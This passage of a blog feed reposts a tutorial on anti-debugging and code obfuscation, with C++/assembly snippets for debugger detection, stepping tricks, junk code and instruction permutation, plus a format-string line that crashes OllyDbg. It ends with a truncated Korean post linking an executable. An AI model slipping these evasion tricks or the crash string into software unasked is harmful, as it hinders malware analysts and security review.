class="code-comment"&gt; exception if there is no debugger. Also when used in OllyDBG&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; it will skip a byte in the disassembly and will create&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; some havoc.&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; Int2DCheck()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-keyword"&gt;__try&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;&lt;br /&gt;       {&lt;br /&gt;           &lt;span class="code-keyword"&gt;int&lt;/span&gt; 0x2d&lt;br /&gt;           xor eax, eax&lt;br /&gt;           add eax, &lt;span class="code-digit"&gt;2&lt;/span&gt;&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;   &lt;span class="code-keyword"&gt;__except&lt;/span&gt;(EXCEPTION_EXECUTE_HANDLER)&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;   }&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="StackSeg"&gt;&lt;/a&gt;Stack Segment&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;By manipulating the stack segment through the use of &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;push&lt;/span&gt; ss&lt;/code&gt; and &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;pop&lt;/span&gt; ss&lt;/code&gt;, we can cause the debugger to execute instructions unwillingly. In the following function, when stepping over the code with any debugger, the &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; eax, &lt;span class="code-digit"&gt;9&lt;/span&gt;&lt;/code&gt; line will execute, but will not be stepped on by the debugger.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain20" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse20" style="margin-bottom: 0px; cursor: pointer;" preid="20"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="20"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre20" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;void&lt;/span&gt; PushPopSS()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       push ss&lt;br /&gt;       pop ss&lt;br /&gt;       mov eax, &lt;span class="code-digit"&gt;9&lt;/span&gt; &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This line executes but is stepped over&lt;/span&gt;&lt;br /&gt;       xor edx, edx &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This is where the debugger will step to&lt;/span&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="InstructionPrefixes"&gt;&lt;/a&gt;Instruction Prefixes&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The following technique takes advantage of the way debuggers handle instruction prefixes. When stepping over this code in OllyDBG or in Visual Studio 2008, we will reach the first emit and immediately be taken to the end of the &lt;code&gt;&lt;span class="code-keyword"&gt;__try&lt;/span&gt;&lt;/code&gt; block. What happens is that the debugger essentially skips over the prefix and handles the &lt;code lang="asm"&gt;INT &lt;span class="code-digit"&gt;1&lt;/span&gt;&lt;/code&gt;. When running this code without a debugger, there will be an exception that SEH will catch and the program will continue along.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain21" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse21" style="margin-bottom: 0px; cursor: pointer;" preid="21"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="21"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre21" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; The IsDbgPresentPrefixCheck works in at least two debuggers&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; OllyDBG and VS 2008, by utilizing the way the debuggers handle&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; prefixes we can determine their presence. Specifically if this code&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; is ran under a debugger it will simply be stepped over;&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; however, if there is no debugger SEH will fire :D&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; IsDbgPresentPrefixCheck()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-keyword"&gt;__try&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-keyword"&gt;__asm&lt;/span&gt; __emit 0xF3 &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; 0xF3 0x64 disassembles as PREFIX REP:&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;__asm&lt;/span&gt; __emit 0x64&lt;br /&gt;       &lt;span class="code-keyword"&gt;__asm&lt;/span&gt; __emit 0xF1 &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; One byte INT 1&lt;/span&gt;&lt;br /&gt;   }&lt;br /&gt;   &lt;span class="code-keyword"&gt;__except&lt;/span&gt;(EXCEPTION_EXECUTE_HANDLER)&lt;br /&gt;   {&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="OllyDBGSpecfic"&gt;&lt;/a&gt;OllyDBG Specific&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The following techniques can be used specifically to attack OllyDBG, which is probably the most used debugging tool on Windows at the moment. There are more techniques used to detect OllyDBG than what I show here, and probably for every technique discussed in this article, there is a plug-in for OllyDBG that fixes the issue. However, for inexperienced reverse engineers, these tricks can still work.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="OllyFindWindow"&gt;&lt;/a&gt;FindWindow&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Using the Win32 API function &lt;code&gt;FindWindow&lt;/code&gt;, we can check for the existence of OllyDBG's window class, &lt;code&gt;OLLYDBG&lt;/code&gt;, and if it does exist, then most likely, OllyDBG is open and waiting to attach to a process, or is actively debugging the current process or another process.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain22" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse22" style="margin-bottom: 0px; cursor: pointer;" preid="22"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="22"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre22" style="margin-top: 0px; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;HANDLE hOlly = FindWindow(TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;OLLYDBG"&lt;/span&gt;), NULL);&lt;br /&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;if&lt;/span&gt;(hOlly)&lt;br /&gt;   ExitProcess(&lt;span class="code-digit"&gt;0&lt;/span&gt;); &lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="OutputDebugStringExploit"&gt;&lt;/a&gt;OutputDebugString Exploit&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;In the world of exploits, there are many ways to exploit a program's security measures or lack thereof, and OllyDBG does have one. It's a format string exploit that has been patched by various custom versions of OllyDBG, but exists in the normal unmodified version which is the prevalent version of OllyDBG. The following code will crash OllyDBG if it is currently attached to the process, and is a very powerful technique.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain23" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse23" style="margin-bottom: 0px; cursor: pointer;" preid="23"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="23"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre23" style="margin-top: 0px; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;OutputDebugString( TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;%s%s%s%s%s%s%s%s%s%s%s"&lt;/span&gt;)&lt;br /&gt;               TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;%s%s%s%s%s%s%s%s%s%s%s%s%s"&lt;/span&gt;)&lt;br /&gt;               TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;%s%s%s%s%s%s%s%s%s%s%s%s%s"&lt;/span&gt;)&lt;br /&gt;               TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;%s%s%s%s%s%s%s%s%s%s%s%s%s"&lt;/span&gt;) );&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="WinDBGSpecific"&gt;&lt;/a&gt;WinDBG Specific&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The following technique can be used to detect if WinDBG is running on the host machine. There hasn't been much research done on detecting WinDBG, because reverse engineers tend to favor other debuggers and analysis tools over WinDBG.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="WinDbgFW"&gt;&lt;/a&gt;FindWindow&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;This is exactly the same technique as shown above in the OllyDBG example, except with a different window class and works the same way.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain24" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse24" style="margin-bottom: 0px; cursor: pointer;" preid="24"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="24"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre24" style="margin-top: 0px; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;HANDLE hWinDbg = FindWindow(TEXT(&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;WinDbgFrameClass"&lt;/span&gt;), NULL);&lt;br /&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;if&lt;/span&gt;(hWinDbg)&lt;br /&gt;   ExitProcess(&lt;span class="code-digit"&gt;0&lt;/span&gt;);&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="OtherTechniques"&gt;&lt;/a&gt;Other Techniques&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The following techniques didn't really fit into the other categories I covered in the previous section, and since they shared that in common, I'm putting them all into their own unique section.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="JunkCode"&gt;&lt;/a&gt;Junk Code&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Junk code is an aptly named technique of code obfuscation, and as its name suggests, it utilizes code that is junk or not needed to confuse a reverse engineer as to what the current code is actually trying to accomplish. When the junk code that is inserted into a routine is convincing and successfully manages to confuse a reverse engineer, then this technique can be rather effective; however, there is a performance penalty for utilizing this technique because the more instructions a routine or function contains, the longer the function will take to complete. Another issue utilizing junk code is that for memory and stack manipulation operations like &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;push&lt;/span&gt;&lt;/code&gt;, &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;pop&lt;/span&gt;&lt;/code&gt;, and &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; &lt;span class="code-keyword"&gt;ptr&lt;/span&gt; []&lt;/code&gt;, there is a decent chance for stack or memory corruption; therefore, these instructions are either placed and utilized carefully, or not used at all. Here is an example of a routine that adds two numbers and subtracts one, but has junk code added in.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/KB/security/AntiReverseEngineering/junkcode.png" style="cursor: pointer;" onclick="popview(this)" width="476" height="445" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain25" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse25" style="margin-bottom: 0px; cursor: pointer;" preid="25"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="25"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre25" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-preprocessor"&gt;#define&lt;/span&gt; JUNK_CODE_ONE        \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{push eax}            \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{xor eax, eax}        \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{setpo al}            \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{push edx}            \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{xor edx, eax}        \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{sal edx, &lt;span class="code-digit"&gt;2&lt;/span&gt;}        \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{xchg eax, edx}    \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{pop edx}            \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{or eax, ecx}        \&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{pop eax}&lt;br /&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;int&lt;/span&gt; AddSubOne(&lt;span class="code-keyword"&gt;int&lt;/span&gt; One, &lt;span class="code-keyword"&gt;int&lt;/span&gt; Two)&lt;br /&gt;{&lt;br /&gt;   JUNK_CODE_ONE&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; ( (One + Two) - &lt;span class="code-digit"&gt;1&lt;/span&gt; );&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;As we can see, this routine does a lot of nothing, and only the final two instructions actually accomplish the goal of the function.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="NativeCodePermutation"&gt;&lt;/a&gt;Native Code Permutations&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Permutations is defined as "often major or fundamental change (as in character or condition) based primarily on rearrangement of existent elements", which when referring to the world of code means different ways of accomplishing the same goal or task ("permutation"). For those unfamiliar with the concept of permutation, I'm going to explain it first with numbers, and then we'll explore the concept with code.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Permutations of the set {1,5,9} would be:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain26" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse26" style="margin-bottom: 0px; cursor: pointer;" preid="26"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="26"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre26" style="margin-top: 0px; font-family: arial;" lang="text"&gt;&lt;span style="font-size:85%;"&gt;159&lt;br /&gt;195&lt;br /&gt;519&lt;br /&gt;591&lt;br /&gt;915&lt;br /&gt;951&lt;/span&gt;&lt;/pre&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;When we do permutation of an item or object, we're simply trying to represent the same information or actions in a different way. Now, we'll do the permutation of the &lt;code lang="asm"&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; m32, imm&lt;/code&gt; instruction:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain27" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse27" style="margin-bottom: 0px; cursor: pointer;" preid="27"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="27"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre27" style="margin-top: 0px; font-family: arial;" lang="asm"&gt;&lt;span style="font-size:85%;"&gt;Original:&lt;br /&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; [mem addr], &lt;span class="code-digit"&gt;7&lt;/span&gt; (&lt;span class="code-keyword"&gt;mov&lt;/span&gt; m32, imm)&lt;br /&gt;&lt;br /&gt;Permutation 1:&lt;br /&gt;&lt;span class="code-keyword"&gt;push&lt;/span&gt; &lt;span class="code-digit"&gt;7&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;pop&lt;/span&gt; [mem addr]&lt;br /&gt;&lt;br /&gt;Permutation 2:&lt;br /&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; eax, mem addr&lt;br /&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; [&lt;span class="code-keyword"&gt;eax&lt;/span&gt;], &lt;span class="code-digit"&gt;7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Permutation 3:&lt;br /&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; edi, mem addr&lt;br /&gt;&lt;span class="code-keyword"&gt;mov&lt;/span&gt; eax, &lt;span class="code-digit"&gt;7&lt;/span&gt;&lt;br /&gt;stosd&lt;br /&gt;&lt;br /&gt;Permutation 4:&lt;br /&gt;&lt;span class="code-keyword"&gt;push&lt;/span&gt; mem addr&lt;br /&gt;&lt;span class="code-keyword"&gt;pop&lt;/span&gt; &lt;span class="code-keyword"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;push&lt;/span&gt; &lt;span class="code-digit"&gt;7&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;pop&lt;/span&gt; &lt;span class="code-keyword"&gt;eax&lt;/span&gt;&lt;br /&gt;stosd&lt;br /&gt;&lt;br /&gt;And on....&lt;/span&gt;&lt;/pre&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;As we can imagine, this can be a very powerful and flexible method of obfuscation and confusion, especially considering that a lot of people are simply following tutorials when reversing, and even small changes will completely prevent them from reversing your application. Then, when this concept is applied to an executable at runtime, and if at every run the program is permutated and morphed, we can achieve metamorphic code which, along with virtual machines, is the cream of the crop of anti-reverse engineering techniques. However, this technique is very hard to implement correctly, considering an excellent disassembly engine is required, and for those who are familiar with the hell of creating an accurate disassembler, this is quite a task.&lt;/span&gt;&lt;/p&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Citations&lt;/span&gt;&lt;/h2&gt; &lt;ul style="font-family: arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;"&lt;a target="_blank" class="con_link" href="http://msdn.microsoft.com/en-us/library/aa366549%28VS.85%29.aspx"&gt;Creating Guard Pages&lt;/a&gt;". Microsoft Developer Network. Microsoft. 19 Oct 2008.  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Falliere, Nicolas. "&lt;a target="_blank" class="con_link" href="http://www.securityfocus.com/infocus/1893"&gt;Windows Anti-Debug Reference&lt;/a&gt;". SecurityFocus. 9 Nov 2008.  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Intel Corporation, "&lt;a target="_blank" class="con_link" href="http://www.intel.com/products/processor/manuals/"&gt;Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3B: System Programming Guide&lt;/a&gt;", Intel Corporation, 2008.  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Microsoft Corporation, "&lt;a target="_blank" class="con_link" href="http://msdn.microsoft.com/en-us/library/ms646290%28VS.85%29.aspx"&gt;BlockInput Function&lt;/a&gt;". Microsoft Developer Network. Microsoft Corporation. 22 Oct 2008.  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Microsoft Corporation, "&lt;a target="_blank" class="con_link" href="http://support.microsoft.com/kb/185215/"&gt;How To Use the SeDebugPrivilege to Acquire Any Process Handle". Microsoft Help and Support. Microsoft Corporation. 21 Oct 2008.&lt;/a&gt;&lt;a target="_blank" class="con_link" href="http://www.openrce.org/reference_library/anti_reversing"&gt;OpenRCE Anti Reverse Engineering Techniques Database&lt;/a&gt;". OpenRCE.org. 9 Nov 2008.  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;OpenRCE, "  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;"&lt;a target="_blank" class="con_link" href="http://www.merriam-webster.com/dictionary/permutation"&gt;Permutation&lt;/a&gt;". Merriam-Webster Online Dictionary. Merriam-Webster Online. 1 November 2008.  &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Peter, Ferrie. &lt;a target="_blank" class="con_link" href="http://pferrie.tripod.com/papers/unpackers.pdf"&gt;Home Page of Peter Ferrie&lt;/a&gt;. 26 Oct 2008.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5555748029170316902?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5555748029170316902/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/04/anti-debug.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5555748029170316902'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5555748029170316902'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/04/anti-debug.html' title='Anti Debug'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5143463761855780997</id><published>2009-04-06T22:47:00.001-07:00</published><updated>2009-04-06T22:47:59.191-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OnLine Navigation'/><title type='text'>OnLine Navigation v0.3</title><content type='html'>&lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="9" href="http://yard.tistory.com/attachment/cfile1.uf@1353831949DAE8A4A6A626.exe"&gt;&lt;img src="http://cfs.tistory.com/blog/image/extension/exe.gif" alt="" style="vertical-align: middle;" /&gt; OnLine Navigation.exe&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cfile1.uf.tistory.com/image/11537E1949DAE871A0A463" alt="" style="cursor: pointer;" onclick="open_img('http://cfile1.uf.tistory.com/original/11537E1949DAE871A0A463')" width="630" height="506" /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 다음지도를 추가 했습니다&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 완벽하게 네이버를 통해서 네비검색만 연동할려고 했는데 다음지도의 좌표가 다음만의 지도 좌표여서 불가능하네요 ㅡㅡ&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 웹을 통해서 API 쓰면 되긴 하지만 전 웹쪽은&lt;/span&gt;&lt;span id="callbacknestyardtistorycom144827" style="width: 1px; height: 1px; float: right; font-family: arial;"&gt;&lt;embed allowscriptaccess="always" id="bootstrapperyardtistorycom144827" 